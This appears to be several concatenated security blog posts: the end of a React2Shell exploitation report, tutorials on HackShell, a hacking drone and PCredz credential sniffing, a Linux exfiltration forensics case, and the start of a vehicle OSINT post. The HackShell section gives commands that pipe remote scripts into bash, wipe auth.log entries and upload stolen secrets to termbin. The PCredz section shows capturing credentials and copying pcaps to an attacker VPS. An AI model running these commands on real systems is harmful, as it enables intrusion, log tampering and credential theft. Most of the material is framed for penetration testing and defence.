------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

As a result, the id command was executed.

Observed Attack Patterns

Security researchers have identified multiple instances of React2Shell attacks across different systems. The similar patterns observed in these cases reveal how the attacker operates and which tools they use, at least during the early days following the vulnerability’s disclosure.

In the first case, on December 4, 2025, the attacker broke into a vulnerable Next.js system running on Windows and tried to download an unknown file using curl and bash commands. They then tried to download a Linux cryptocurrency miner. About 6 hours later, they tried to download a Linux backdoor. The attackers also ran commands like whoami and echo, which researchers believe was a way to test if commands would run and figure out what operating system was being used.

In the second case, on another Windows computer, the attacker tried to download multiple files from their control servers. Interestingly, the attacker ran the command ver || id, which is a trick to figure out if the system is running Windows or Linux. The ver command shows the Windows version, while id shows user information on Linux. The double pipe operator makes sure the second command only runs if the first one fails, letting the attacker identify the operating system. Like before, the attacker also ran a command to test if their code would run, followed by commands like whoami and hostname to gather user and system information.

In the third case, the attacker followed the same pattern. They first ran commands to test if their code would work and used commands like whoami to gather user information. The attacker then tried to download multiple files from their control servers. The commands follow the same approach: download a shell script, run it with bash, and sometimes delete it to hide evidence.

Unlike the earlier Windows cases, the fourth case targeted a Linux computer running a Next.js application. The attacker successfully broke in and installed an XMRig cryptocurrency miner.

Based on the similar pattern seen across multiple computers, including identical tests and control servers, researchers believe the attacker is likely using automated hacking tools. This is supported by the attempts to use Linux-specific files on Windows computers, showing that the automation doesn’t tell the difference between operating systems. On one of the hacked computers, log analysis showed evidence of automated vulnerability scanning before the attack. The attacker used a publicly available GitHub tool to find vulnerable Next.js systems before launching their attack.

RondoDox Campaign

Security researchers have found a nine-month campaign targeting IoT devices and web applications to build a botnet called RondoDox. This campaign started in early 2025 and has grown through three phases, each one bigger and more advanced than the last.

The first phase ran from March through April 2025 and involved early testing and manual scanning for vulnerabilities. During this time, the attackers were testing their tools and looking for potential targets across the internet. The second phase, from April through June 2025, saw daily mass scanning targeting web applications like WordPress, Drupal, and Struts2, along with IoT devices such as Wavlink routers. The third phase, starting in July and continuing through early December 2025, marked a shift to hourly automated attacks on a large scale, showing the operators had improved their tools and were ready for mass attacks.

When React2Shell was disclosed in December 2025, the RondoDox operators immediately added it to their toolkit alongside other N-day vulnerabilities, including CVE-2023-1389 and CVE-2025-24893. The attacks detected in December follow a consistent pattern. Attackers scan to find vulnerable Next.js servers, then try to install multiple payloads on infected devices. These payloads include cryptocurrency miners, botnet loaders, health checkers, and Mirai botnet variants. The infection chain is designed to stay on systems and resist removal attempts.

A large portion of the attack traffic comes from a datacenter in Poland, with one IP address alone responsible for more than 12,000 React2Shell-related events, along with port scanning and attempts to exploit known Hikvision vulnerabilities. This behavior matches patterns seen in Mirai-derived botnets, where compromised infrastructure is used both for scanning and for launching multi-vector attacks. Additional scanning comes from the United States, the Netherlands, Ireland, France, Hong Kong, Singapore, China, Panama, and other regions, showing broad global participation in opportunistic attacks.

Mitigation

CVE-2025-55182 exists in several versions including version 19.0, 19.1.0, 19.1.1, and 19.2.0 of the following packages: react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack. Businesses relying on any of these impacted packages should update immediately.

Summary

Cyberwarriors need to make sure their systems are safe from new threats. The React2Shell vulnerability is a serious risk for organizations using React Server Components and Next.js applications. Hackers can exploit this vulnerability to steal personal data, corporate data, and attack critical infrastructure by installing malware. This vulnerability is easy to exploit, and many organizations use the affected software, which has made it popular with botnet operators who’ve quickly added React2Shell to their attack tools. Organizations need to patch right away, use multiple layers of defense, and watch their systems closely to protect against this threat. A vulnerability like React2Shell can take down entire networks if even one application is exposed.

Welcome back, aspiring cyberwarriors!

In one of our Linux Forensics articles we discussed how widespread Linux systems are today. Most of the internet quietly runs on Linux. Internet service providers rely on Linux for deep packet inspection. Websites are hosted on Linux servers. The majority of home and business routers use Linux-based firmware. Even when we think we are dealing with simple consumer hardware, there is often a modified Linux kernel working in the background. Many successful web attacks end with a Linux compromise rather than a Windows one. Once a Linux server is compromised, the internal network is exposed from the inside. Critical infrastructure systems also depend heavily on Linux. Gas stations, industrial control systems, and even CCTV cameras often run Linux or Linux-based embedded firmware.

Master OTW has an excellent series showing how cameras can be exploited and later used as proxies. Once an attacker controls such a device, it becomes a doorway into the organization. Cameras are typically reachable from almost everywhere in the segmented network so that staff can view them. When the camera is running cheap and vulnerable software, that convenience can turn into a backdoor that exposes the entire company. In many of our forensic investigations we have seen Linux-based devices like cameras, routers, and small appliances used as the first foothold. After gaining root access, attackers often deploy their favorite tools to enumerate the environment, collect configuration files, harvest credentials, and sometimes even modify PAM to maintain silent persistence.

So Bash is already a powerful friend to both administrators and attackers. But we can make it even more stealthy and hacker friendly. We are going to explore HackShell, a tool designed to upgrade your Bash environment when you are performing penetration testing. HackShell was developed by The Hacker’s Choice, a long-standing hacking research group known for producing creative security tools. The tool is actively maintained, loads entirely into memory, and does not need to write itself to disk. That helps reduce forensic artifacts and lowers the chance of triggering simple detections.

If you are a defender, this article will also be valuable. Understanding how tools like HackShell operate will help you recognize the techniques attackers use to stay low-noise and stealthy. Network traffic and behavioral traces produced by these tools can become intelligence signals that support your SIEM and threat detection programs.

Let’s get started.

Setting Up

Once a shell session has been established, HackShell can be loaded directly into memory by running either of the following commands:

bash$ > source <(curl -SsfL https://thc.org/hs)

Or this one:

bash$ > eval "$(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)"

You are all set. Once HackShell loads, it performs some light enumeration to collect details about the current environment. For example, you may see output identifying suspicious cron jobs or even detecting tools such as gs-netcat running as persistence. That early context already gives you a sense of what is happening on the host.

But if the compromised host does not have internet access, for example when it sits inside an air-gapped environment, you can manually copy and paste the contents of the HackShell script after moving to /dev/shm. On very old machines, or when you face compatibility issues, you may need to follow this sequence instead.

First run:

bash$ > bash -c 'source <(curl -SsfL https://thc.org/hs); exec bash'

And then follow it with:

bash$ > source <(curl -SsfL https://thc.org/hs)

Now we are ready to explore its capabilities.

Capabilities

The developers of HackShell clearly put a lot of thought into what a penetration tester might need during live operations. Many helpful functions are built directly into the shell. You can list these features using the xhelp command, and you can also request help on individual commands using xhelp followed by the command name.

We will walk through some of the most interesting ones. A key design principle you will notice is stealth. Many execution methods are chosen to minimize traces and reduce the amount of forensic evidence left behind.

Evasion

These commands will help you reduce your forensic artefacts. 

xhome

This command temporarily sets your home directory to a randomized path under /dev/shm. This change affects only your current HackShell session and does not modify the environment for other users who log in. Placing files in /dev/shm is popular among attackers because /dev/shm is a memory-backed filesystem. That means its contents do not persist across reboots and often receive less attention from casual defenders.

bash$ > xhome

For defenders reading this, it is wise to routinely review /dev/shm for suspicious files or scripts. Unexpected executable content here is frequently a red flag.

xlog

When attackers connect over SSH, their login events typically appear in system authentication logs. On many Linux distributions, these are stored in auth.log. HackShell includes a helper to selectively remove traces from the log.

For example:

bash$ > xlog '1.2.3.4' /var/log/auth.log

xtmux

Tmux is normally used by administrators and power users to manage multiple terminal windows, keep sessions running after disconnects, and perform long-running tasks. Attackers abuse the same features. In several forensic cases we observed attackers wiping storage by launching destructive dd commands inside tmux sessions so that data erasure would continue even if the network dropped or they disconnected.

This command launches an invisible tmux session:

bash$ > xtmux

Enumeration and Privilege Escalation

Once you have shifted your home directory and addressed logs, you can begin to understand the system more deeply.

ws

The WhatServer command produces a detailed overview of the environment. It lists storage, active processes, logged-in users, open sockets, listening ports, and more. This gives you a situational awareness snapshot and helps you decide whether the machine is strategically valuable.

lpe

LinPEAS is a well-known privilege escalation auditing script. It is actively maintained, frequently updated, and widely trusted by penetration testers. HackShell integrates a command that runs LinPEAS directly in memory so the script does not need to be stored on disk.

bash$ > lpe

The script will highlight possible paths to privilege escalation. In the example environment we were already root, which meant the output was extremely rich. However, HackShell works well under any user account, making it useful at every stage of engagement.

hgrep

Credential hunting often involves searching through large numbers of configuration files or text logs. The hgrep command helps you search for keywords in a simple and direct way.

bash$ > hgrep pass

This can speed up the discovery of passwords, tokens, keys, or sensitive references buried in files.

scan

Network awareness is critical during lateral movement. HackShell’s scan command provides straightforward scanning with greppable output. You can use it to check for services such as SMB, SSH, WMI, WINRM, and many others.

You can also search for the ports commonly associated with domain controllers, such as LDAP, Kerberos, and DNS, to identify Active Directory infrastructure. Once domain credentials are obtained, they can be used for enumeration and further testing. HTTP scanning is also useful for detecting vulnerable web services.

Example syntax:

bash$ > scan PORT IP

loot

For many testers, this may become the favorite command. loot searches through configuration files and known locations in an effort to extract stored credentials or sensitive data. It does not always find everything, especially when environments use custom paths or formats, but it is often a powerful starting point.

bash$ > loot

If the first pass does not satisfy you:

bash$ > lootmore

When results are incomplete, combining loot with hgrep can help you manually hunt for promising strings and secrets.

Lateral Movement and Data Exfiltration

When credentials are discovered, the next step may involve testing access to other machines or collecting documents. It is important to emphasize legal responsibility here. Mishandling exfiltrated data can expose highly sensitive information to the internet, violating agreements.

tb

The tb command uploads content to termbin.com. Files uploaded this way become publicly accessible if someone guesses or brute forces the URL. This must be used with caution. 

bash$ > tb secrets.txt

After you extract data, securely deleting the local copy is recommended.

bash$ > shred secrets.txt

xssh and xscp

These commands mirror the familiar SSH and SCP tools and are used for remote connections and secure copying. HackShell attempts to perform these actions in a way that minimizes exposure. Defenders are continuously improving monitoring, sometimes sending automatic alerts when new SSH sessions appear. If attackers move carelessly, they risk burning their foothold and triggering incident response. 

Connect to another host:

bash$ > xshh root@IP

Upload a file to /tmp on the remote machine:

bash$ > xscp file root@IP:/tmp

Download a file from the remote machine to /tmp:

bash$ > xscp root@IP:/root/secrets.txt /tmp

Summary

HackShell is an example of how Bash can be transformed into a stealthy, feature-rich environment for penetration testing. There is still much more inside the tool waiting to be explored. If you are a defender, take time to study its code, understand how it loads, and identify the servers it contacts. These behaviors can be turned into Indicators of Compromise and fed into your SIEM to strengthen detection.

If ethical hacking and cyber operations excite you, you may enjoy our Cyberwarrior Path. This is a three-year training journey built around a two-tier education model. During the first eighteen months you progress through a rich library of beginner and intermediate courses that develop your skills step by step. Once those payments are complete, you unlock Subscriber Pro-level training that opens the door to advanced and specialized topics designed for our most dedicated learners. This structure was created because students asked for flexibility, and we listened. It allows you to keep growing and improving without carrying an unnecessary financial burden, while becoming the professional you want to be.

The post Linux: HackShell – Bash For Hackers first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

I want you to imagine a scene for a moment. You are sitting at your keyboard on one of the upper floors of a secure building in the middle of a restricted area. There is a tall fence topped with electrified barbed wire. Cameras cover every angle. Security guards patrol with confidence. You feel untouchable. Then you hear it. It’s a faint buzzing sound outside the window. You glance over for just a moment, wondering what it is. That tiny distraction is enough. In those few seconds, a small device silently installs a backdoor on your workstation. Somewhere 20 kilometers away, a hacker now has a path into the corporate network. 

That may sound like something out of a movie, but it is not science fiction. In this series, we are going to walk through the process of building a drone that can perform wireless attacks such as EAP attacks, MouseJack, Kismet reconnaissance, and similar operations. A drone is an incredibly powerful tool in the hands of a malicious actor because it can carry roughly a third of its own weight as payload. But “hacking through the air” is not easy. A proper hacker drone must be autonomous, controllable over a secure channel at long distances, and resilient to jamming or suppression systems. Today we will talk through how such drones are designed and how they can be built from readily available components.

Most wireless attacks require the attacker to be physically near the target. The problem is that you can’t reach every building, every fenced facility, and every rooftop. A drone changes the entire equation. It can fly under windows, slip through partially open spaces, or even be transported inside a parcel. As a boxed payload moves through residential or office buildings, it can quietly perform wireless attacks without anyone ever suspecting what is inside. And yes, drones are used this way in the real world, including military and intelligence operations. On June 1, 2025, over 100 FPV drones that were smuggled into Russia, were concealed in modified wooden cabins on trucks, and remotely launched from positions near multiple Russian airbases. These drones conducted precision strikes on parked aircraft at bases including Belaya, Dyagilevo, Ivanovo Severny, Olenya, and Ukrainka, reportedly damaging or destroying more than 40 strategic bombers and other high-value assets.

The FPV drones were equipped with mobile modems using Russian SIM cards to connect to local 3G/4G cellular networks inside Russia. This setup enabled remote operators in Ukraine to receive real-time high-resolution video feeds and telemetry, as well as maintain manual control over the drones via software like ArduPilot Mission Planner. The cellular connection allowed precise piloting from thousands of kilometers away, bypassing traditional radio frequency limitations and Russian electronic warfare jamming in some cases. In Part 2 we will show you how this type of connection can be established.

Drones are everywhere. They are affordable. They are also flexible. But what can they really do for a hacker? The key strength of a drone is that it can carry almost anything lightweight. This instantly increases the operational range of wireless attacks, allowing equipment to quickly and silently reach places a human cannot. A drone can scale fences, reach high-rise windows, hover near targets, and potentially enter buildings. All while remaining difficult to trace. That is an enormous advantage.

Let’s start learning how the platform works.

Implementation

Most drones are radio-controlled, but the exact communication method varies. One channel is used to receive operator commands (RX) and another to transmit video and telemetry back to the operator (TX). Different drones use different communication combinations, such as dedicated radio systems like FRSKY, ELRS, or TBS for control, and either analog or digital channels for video. Some consumer drones use Wi-Fi for telemetry or even control both ways.

For a hacker, the drone is first and foremost a transport platform. It must be reliable and durable. When you are performing attacks near buildings, lamp posts, tight corridors, or window frames, high speed becomes far less important than protecting the propellers. This is why Cinewhoop-style drones with protective frames are such a strong choice. If the drone brushes a wall, the frame absorbs the impact and keeps it flying. You can find the 3D models of it here

The drone also needs enough lifting power to carry your hacking gear. Ideally at least one-third of its own weight. That allows you to attach devices such as Wi-Fi attack platforms, SDR tools, or compact computers without stressing the motors. Because distance matters, Wi-Fi-controlled drones are usually not ideal. Wi-Fi range is typically around 50–100 meters before responsiveness begins to degrade. Professional long-range drones that use dedicated control radios like FRSKY, ELRS, or TBS are a better fit. Under good conditions, these systems can maintain control several kilometers away. Since attackers typically operate near structures, precise control is critical. FPV drones are especially useful here. They allow the pilot to “see” through the drone’s camera in real time, which is essential when maneuvering near buildings or through tight openings. Open-source flight controller platforms such as Betaflight are really attractive. They are flexible, modifiable, and easy to service. If the frame is damaged in a crash, most of the core components can be reused.

In truth, the specific drone model is less important than the pilot’s skill. Good piloting matters. Before we look at attacks, we need to understand how control can be improved and how it can be extended beyond visual range.

Control via 4G

Flying a drone among urban buildings introduces challenges like concrete and steel obstruct radio signals, limiting line-of-sight range. Even if your drone has a long-range radio system, once it disappears behind a building, control becomes unreliable. But what if you could control the drone over mobile networks instead? Modern 4G cellular networks now offer reliable data coverage even inside many urban structures. If we can use cellular data as a control channel, the drone’s reachable range becomes limited only by its battery life, not by line-of-sight. Today’s 4G networks can provide sufficient bandwidth for both control signals and video feeds. Although the latency and responsiveness are not as good as dedicated radio links, they are quite usable for piloting a drone in many scenarios. Considering that drones can reach speeds up to 200 km/h and have flight times measured in tens of minutes, an attacker theoretically could operate a drone more than 20 km away from the controller using 4G connectivity.

4G > Wi-Fi Gateway > Drone

The simplest way to use 4G connectivity is to bridge it to the drone’s Wi-Fi interface. Most consumer drones broadcast a Wi-Fi access point that a mobile phone connects to for control. Commands are sent over UDP packets, and video is streamed back as an RTSP feed. In this setup, the drone already acts like a networked device. If you attach a small computing device with a 4G modem, you could connect to it over a VPN from anywhere, and relay commands to the drone. But this approach has major drawbacks. The control protocol is often closed and proprietary, making it difficult to reverse-engineer and properly relay. Additionally, these protocols send frequent packets to maintain responsiveness, which would saturate your 4G channel and compete with video transmission.

4G > Video Gateway > Drone

A much cleaner alternative is to use a video gateway approach. Instead of trying to tunnel the drone’s native protocol over the cellular link, you attach a small smartphone to the drone and connect it to the drone’s Wi-Fi. The phone itself becomes a bridge. It controls the drone locally and receives video. From the remote operator’s perspective, you are simply remoting into the phone, much like remote controlling any computer. The phone’s screen shows the drone’s video feed, and the operator interacts with the virtual sticks via remote desktop software. The phone app already handles control packet encoding, so there’s no need to reverse-engineer proprietary protocols.

This clever hack solves multiple problems at once. The phone maintains a strong local Wi-Fi link to the drone, which is hard to jam at such short range. The operator sees a video feed that survives 4G network variations better than high-bandwidth native streams. And because the app handles stick input, the operator doesn’t need to worry about throttle, roll, pitch, or yaw encoding.

You can connect to the phone over 4G from any device using remote-access software like AnyDesk. With simple GUI automation tools, you can bind keyboard keys to virtual controller actions on the phone screen.

Here is the Bash script that will help with it. You can find the link to it here

This Bash script allows you to control virtual joysticks once you connect via AnyDesk to the phone. You will use the keyboard to simulate mouse actions. When launched, the script identifies the emulator window (using xwininfo, which requires you to click on the window once), calculates the centers of the left and right virtual sticks based on fixed offsets from the window’s corner, and then enters a loop waiting for single key presses.

For each key (A/B for throttle, W/S/A/D for pitch and roll, Q/E for yaw), the script uses xdotool to move the cursor to the virtual stick, simulate a short swipe in the desired direction, and release. This effectively mimics a touchscreen joystick movement. The script runs on Linux with X11 (Xorg), requires xdotool and x11-utils, and gives a simple keyboard-based alternative for drone control when a physical gamepad isn’t available. Although Kali Linux is not suitable here, many other distros such as Debian Stable, antiX, Devuan, Linux Mint, openSUSE, Zorin OS, or Peppermint OS work well. So while Kali is often the go-to for security work, there’s still a list of usable operating systems.

Telemetry data is also available to the remote operator.

In the system we describe, another script monitors screen regions where telemetry values are displayed, uses OCR (optical character recognition) to extract numbers, and can then process them.

Here is another bash script that will help us with this. It will repeatedly screenshot a selected drone ground control window, crop out the battery and altitude display areas, use OCR to extract the numeric values, print them to the terminal, and speak a “low battery” warning if the percentage drops below 10%..

Find it on our GitHub here

With control and telemetry automated, full 4G-based drone operation becomes extremely flexible. This method is easy to implement and immediately gives you both control and status feedback. However, it does introduce an extra link, which is the Wi-Fi phone. The phone’s Wi-Fi signal may interfere with the drone’s normal operation, and the drone must carry some extra weight (about 50 grams) for this setup. In Part 2, we will go further. We will move from 4G > Wi-Fi > Drone to 4G > UART > Drone, using a custom VPN and SIM. That means the phone disappears completely, and commands are sent directly to the flight controller and motor control hardware. This will give us more flexibility.

That brings us to the end of Part 1.

Summary

Drones are rapidly transforming from hobby toys into serious tools across warfare, policing, intelligence, and hacking. A drone can slip past fences, scale buildings, hover near windows, and quietly deliver wireless attack platforms into places humans cannot reach. It opens doors to an enormous spectrum of radio-based attacks, from Wi-Fi exploitation to Bluetooth hijacking and beyond. For attackers, it means unprecedented reach. 

See you in Part 2 where we begin preparing the drone for real-world offensive operations

The post Drone Hacking: Build Your Own Hacking Drone, Part 1 first appeared on Hackers Arise.

Welcome back, aspiring DFIR investigators!

Linux machines are everywhere these days, running quietly in the background while powering the most important parts of modern companies. They host databases, file shares, internal tools, email services, and countless other systems that businesses depend on every single day. But the same flexibility that makes Linux so powerful also makes it attractive for attackers. A simple bash shell provides everything someone needs to move files around, connect to remote machines, or hide traces of activity. That is why learning how to investigate Linux systems is so important for any digital forensic analyst.

In an earlier article we walked through the basics of Linux forensics. Today, we will go a step further and look at a scenario, where a personal Linux machine was used to exfiltrate private company data. The employee worked for the organization that suffered the breach. Investigators first examined his company-issued Windows workstation and discovered several indicators tying him to the attack. However, the employee denied everything and insisted he was set up, claiming the workstation wasn’t actually used by him. To uncover the truth and remove any doubts, the investigation moved toward his personal machine, a Linux workstation suspected of being a key tool in the data theft.

Analysis

It is a simple investigation designed for those that are just getting started.

Evidence

Before looking at anything inside the disk, a proper forensic workflow always begins with hashing the evidence and documenting the chain of custody. After that, you create a hashed forensic copy to work on so the original evidence remains untouched. This is standard practice in digital forensics, and it protects the integrity of your findings.

Once we open the disk image, we can see the entire root directory. To keep the focus on the main points, we will skip the simple checks covered in Basic Linux Forensics (OS-release, groups, passwd, etc.) and move straight into the artifacts that matter most for a case involving exfiltration.

Last Login

The first thing we want to know is when the user last logged in. Normally you can run last with no arguments on a live system, but here we must point it to the wtmp file manually:

bash# > last -f /var/log/wtmp

This shows the latest login from the GNOME login screen, which occurred on February 28 at 15:59 (UTC).

To confirm the exact timestamp, we can check authentication events stored in auth.log, filtering only session openings from GNOME Display Manager:

bash# > cat /var/log/auth.log | grep -ai "session opened" | grep -ai gdm | grep -ai liam

From here we learn that the last GUI login occurred at 2025-02-28 10:59:07 (local time).

Timezone

Next, we check the timezone to ensure we interpret all logs correctly:

bash# > cat /etc/timezone

This helps ensure that timestamps across different logs line up properly.

USB

Data exfiltration often involves external USB drives. Some attackers simply delete their shell history, thinking that alone is enough to hide their actions. But they often forget that Linux logs almost everything, and those logs tell the truth even when the attacker tries to erase evidence.

To check for USB activity:

bash# > grep -i usb /var/log/*

Many entries appear, and buried inside them is a serial number from an external USB device.

Syslog also records the exact moment this device was connected. Using the timestamp (2025-02-28 at 10:59:25) we can filter the logs further and collect more detail about the device.

We also want to know when it was disconnected:

bash# > grep -i usb /var/log/* | grep -ai disconnect

The last disconnect occurred on 2025-02-28 at 11:44:00. This gives us a clear time window: the USB device was connected for about 45 minutes. Long enough to move large files.

Command History

Attackers use different tricks to hide their activity. Some delete .bash_history. Others only remove certain commands. Some forget to clear it entirely, especially when working quickly.

Here is the user’s history file:

bash# > cat /home/liam/.bash_history

Here we see several suspicious entries. One of them is transferfiles. This is not a real Linux command, which immediately suggests it might be an alias. We also see a curl -X POST command, which hints that data was uploaded to an HTTP server. That’s a classic exfiltration method. There is also a hidden directory and a mysterious mth file, which we will explore later.

Malicious Aliases

Hackers love aliases, because aliases allow them to hide malicious commands behind innocent-looking names. For example, instead of typing out a long scp or rsync command that would look suspicious in a history file, they can simply create an alias like backup, sync, or transferfiles. To anyone reviewing the history later, it looks harmless. Aliases also help them blend into the environment. A single custom alias is easy to overlook during a quick review, and some investigators forget to check dotfiles for custom shell behavior.

To see what transferfiles really does, we search for it:

bash# > grep "transferfiles" . -r

This reveals the real command: it copied the entire folder “Critical Data TECH*” from a USB device labeled 46E8E28DE8E27A97 into /home/liam/Documents/Data.

This aligns perfectly with our earlier USB evidence. Files such as Financial Data, Revenue History, Stakeholder Agreement, and Tax Records were all transferred. Network logs suggest more files were stolen, but these appear to be the ones the suspect personally inspected.

Hosts

The /etc/hosts file is normally used to map hostnames to IP addresses manually. Users sometimes add entries to simplify access to internal services or testing environments. However, attackers also use this file to redirect traffic or hide the true destination of a connection.

Let’s inspect it:

bash# > cat /etc/hosts

In this case, there is an entry pointing to a host involved in the exfiltration. This tells us the suspect had deliberately configured the system to reach a specific external machine.

Crontabs

Crontabs are used to automate tasks. Many attackers abuse cron to maintain persistence, collect information, or quietly run malicious scripts.

There are three main places cron jobs can exist:

1. /etc/crontab –  system-wide

2. /etc/cron.d/ – service-style cron jobs

3. /var/spool/cron/crontabs/ – user-specific entries

Let’s check the user’s crontab:

bash# > cat /var/spool/cron/crontabs/liam

We can see a long string set to run every 30 minutes. This cronjob secretly sends the last five commands typed in the terminal to an attacker-controlled machine. This includes passwords typed in plain text, sudo commands, sensitive paths, and anything else the user entered recently.

This was unexpected. It suggests the system was accessed by someone else, meaning the main suspect may have been working with a third party, or possibly being monitored and guided by them.

To confirm this possibility, let’s check for remote login activity:

bash# > cat /var/log/auth.log | grep -ai accepted

Here we find a successful SSH login from an external IP address. This could be that unidentified person entering the machine to retrieve the stolen data or to set up additional tools. At this stage it’s difficult to make a definitive claim, and we would need more information and further interrogation to connect all the pieces.

Commands and Logins in auth.log

The auth.log file stores not only authentication attempts but also certain command-related records. This is extremely useful when attackers use hidden directories or unusual locations to store files.

To list all logged commands:

bash# > cat /var/log/auth.log | grep -ai command

To search for one specific artifact:

bash# > cat /var/log/auth.log | grep -ai mth

This tells us that the file mth was created in /home/liam using nano by user liam. Although this file had nothing valuable, its creation shows the user was active and writing files manually, not through automated tools.

Timestomping

As a bonus step, we will introduce timestamps, which are essential in forensic work. They help investigators understand the sequence of events and uncover attempts at manipulation that might otherwise go unnoticed. Timestomping is the process of deliberately altering file timestamps to confuse investigators. Hackers use it to hide when a file was created or modified. However, Linux keeps several different timestamps for each file, and they don’t always match when something is tampered with.

The stat command helps reveal inconsistencies:

bash# > stat api

The output shows:

Birth: Feb 28 2025

Change: Nov 17 2025

Modify: Jan 16 2001

This does not make sense. A file cannot be created in 2025, modified in 2001, and changed again in 2025. That means the timestamps were manually altered. A normal file would have timestamps that follow a logical order, usually showing similar creation and modification dates. By comparing these values across many files, investigators can often uncover when an attacker attempted to clean up their traces or disguise their activity.

Timeline

The investigation still requires more evidence, deeper log correlation, and proper interrogation of everyone involved before a final conclusion can be made. However, based on the artifacts recovered from the Linux machine, we can outline a reasonable assumption of how the events might have taken place.

In the days before the breach, Liam was approached by a third-party group interested in acquiring his company’s confidential data. They gained remote access to his computer via SSH, possibly through a proxy, appearing to log in from a public IP address that does not belong to the company network. Once inside, they installed a cronjob designed to collect Liam’s recent commands that acted as a simple keylogger. This allowed them to gather passwords and other sensitive information that Liam typed in the terminal.

With Liam’s cooperation, or possibly after promising him payment, the attackers guided him through the steps needed to steal the corporate files. On February 28, Liam logged in, connected a USB drive, and executed the hidden alias transferfiles, which copied sensitive folders onto his machine. Moments later, he uploaded parts of the data using a curl POST request to a remote server. When the transfer was done, the accomplices disconnected from the machine, leaving Liam with remnants of stolen data still sitting inside his Documents directory.

The combination of the installed cronjob, the remote SSH connection, and the structured method of transferring company files strongly suggests an insider operation supported by outside actors. Liam was not acting alone, he was assisting a third party, either willingly or under pressure.

Summary

The hardest part of digital forensics is interpreting what the evidence actually means and understanding the story it tells. Individual logs rarely show the full picture by themselves. But when you combine login times, USB events, alias behavior, cronjobs, remote connections and other artifacts a clear narrative begins to form. In this case, the Linux machine revealed far more than the suspect intended to hide. It showed how the data was copied, when the USB device was attached, how remote actors accessed the system, and even how attempts were made to hide the tracks through timestomping and aliases. Each artifact strengthened the overall story and connected the actions together into one coherent timeline. This is the true power of digital forensics that turns fragments of technical evidence into a readable account of what really happened. And with every investigation, your ability to find and interpret these traces grows stronger.

If you want skills that actually matter when systems are burning and evidence is disappearing, this is your next step. Our training takes you into real investigations, real attacks, and real analyst workflows. Built for people who already know the basics and want to level up fast, it’s on-demand, deep, and constantly evolving with the threat landscape.

Learn more

The post Digital Forensics: Basic Linux Analysis After Data Exfiltration first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Today we are going through another tool that can really help you during your red team engagements. It is called PCredz. PCredz is a powerful credential extraction tool that focuses on pulling sensitive information out of network traffic. According to the project documentation, PCredz can extract credit card numbers, NTLM credentials, Kerberos hashes, HTTP authentication data, SNMP community strings, POP, SMTP, FTP, IMAP and much more from a pcap file or from a live interface. It supports both IPv4 and IPv6. All discovered hashes are shown in formats that work directly with hashcat. For example you can use mode 7500 for Kerberos, 5500 for NTLMv1 and 5600 for NTLMv2. The tool also logs everything into a CredentialDump file and makes it organized so that you can feed it directly into cracking workflows.

In practice this means that if credentials are traversing the network in any recoverable form, PCredz will collect them for you.

Use Cases

So when would you actually use PCredz during a red team engagement?

Imagine you have already gained a foothold somewhere inside a network. At this point, one of your goals is usually to move laterally, escalate privileges, and gain access to more sensitive resources. Network traffic is often full of interesting secrets, especially in environments where encryption is not enforced or where legacy protocols still exist. PCredz becomes very useful when you want to analyze captured pcaps or when you want to quietly listen to live traffic flowing through an interface. If users are authenticating to file shares, web interfaces, legacy applications, email systems or network services, you may see usable credentials. This is particularly realistic on older networks or mixed environments where not everything runs over HTTPS or modern authentication.

Blue teams also use PCredz during compromise assessments to detect insecure authentication flows inside their network. But during red team work, it helps you move further and more silently than noisy active attacks.

Setting Up

There are two main ways to run PCredz. You can run it inside Docker or directly through the Linux console. For this demonstration we will use the console. When you are working on a compromised or fragile machine, you must be careful not to break anything. Many times you will land on an old production server that the business still depends on. For both operational security and stability reasons, it is safer to isolate your tooling. A great way to do that is to create a separate Python 3 virtual environment just for PCredz.

Here is how you create a separate python3 environment and activate it:

bash# > python3 -m venv pcredz; source pcredz/bin/activate

Next we install the dependencies:

bash# > apt install python3-pip && sudo apt install libpcap-dev && sudo apt install file && pip3 install Cython && pip3 install python-libpcap

Now we are ready to get started.

Live Capture vs PCAPs

We are going to look at PCredz in two ways. First we will use live capture mode so the tool listens directly to the network interface. Then we will see how it works with captured pcaps. Working with pcaps is often more convenient, especially if the system is extremely old or restricted and does not allow you to install dependencies. The tool will automatically parse your files and extract any available credentials.

Live

To run the tool in live mode and capture credentials, use:

bash# > python3 ./Pcredz -i eth0 -v

You can see the name of your network interfaces by running ifconfig. Sometimes you will find several interfaces and you will need to choose the correct one. To reduce noise, try selecting interfaces that sit on private IP ranges. Otherwise you may end up with captures full of random internet scanning traffic. Many automated scripts constantly probe IP ranges looking for weak targets and this junk traffic can pollute your pcaps making them heavier than needed.

PCAPs

If you decide to work offline with pcaps, the first step is usually to exfiltrate the captured files to a machine you control. For example, you can transfer the file to a VPS using scp:

bash#  > scp file.pcap root@IP:/tmp

Once the upload is complete, the file will keep its original name and will be located in the specified directory on the remote machine.

Then you can run PCredz in offline mode like this when analyzing a single file:

bash# > python3 ./Pcredz -f file.pcap

Or when analyzing an entire directory of pcaps:

bash# > python3 ./Pcredz -d /tmp/pcap-directory-to-parse/

This approach is especially nice when you want to stay quiet. You collect traffic with tcpdump, move the files out and only analyze them on your own system.

Summary

PCredz is a simple tool. You can gather credentials without interrupting production systems or triggering noisy authentication attacks like relays. A very stealthy approach during a red team engagement is to capture network traffic with tcpdump, exfiltrate the pcaps to your controlled machine, and then run PCredz there. The tool becomes especially effective if you manage to compromise a file server or another system that many Windows machines depend on. These machines constantly receive authentication traffic from users, which means you will likely capture something valuable sooner or later. Once you obtain valid credentials, many new doors open. You may escalate privileges, dump LSASS, schedule malicious certificate requests, or impersonate privileged accounts through legitimate mechanisms. Quite often you will even see HTTP traffic in cleartext reusing the same Active Directory credentials across multiple services. Credential reuse is still very common in the real world.

The post Password Cracking: Stealing Credentials with PCredz first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Today, vehicles are everywhere, and overlooking them during an OSINT investigation would be a serious mistake. Every car leaves behind a trail of digital and photographic evidence through its license plates, identification numbers, and physical presence in public spaces. Unlike traditional methods that rely on privileged access to government records, modern vehicle OSINT utilizes publicly available resources, community-sourced data, and open registries to construct detailed intelligence profiles.

In this article, we will look at four services that can help you jump-start your vehicle OSINT investigation. Let’s get rolling!

Understanding License Plate Intelligence

